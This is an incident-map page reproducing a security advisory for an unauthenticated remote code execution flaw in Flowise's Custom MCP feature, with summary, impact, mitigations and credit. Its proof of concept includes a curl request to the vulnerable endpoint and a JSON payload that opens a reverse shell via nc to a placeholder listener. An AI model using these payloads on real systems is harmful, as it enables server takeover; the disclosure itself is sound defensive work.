INCIDENT MAP

Browse / MCP and Tool Server Flaws / CVE-2025-71336

Flowise has unsandboxed remote code execution via Custom MCP

CVE-2025-71336 ยท 2025-09-15 critical

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Code and command execution
Affected
flowise (npm)
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
1.1% chance of exploitation in 30 days

How it works, in short

The Custom MCP feature launches attacker-chosen commands through a load-method endpoint that lacks proper authentication and role checks. (Our summary, written by a model. The source text is below.)

Details

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

!Pasted image 20250420132335

Impact

Remote code execution

Mitigation

- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

References

Source: GitHub Advisory Database, used under CC BY 4.0.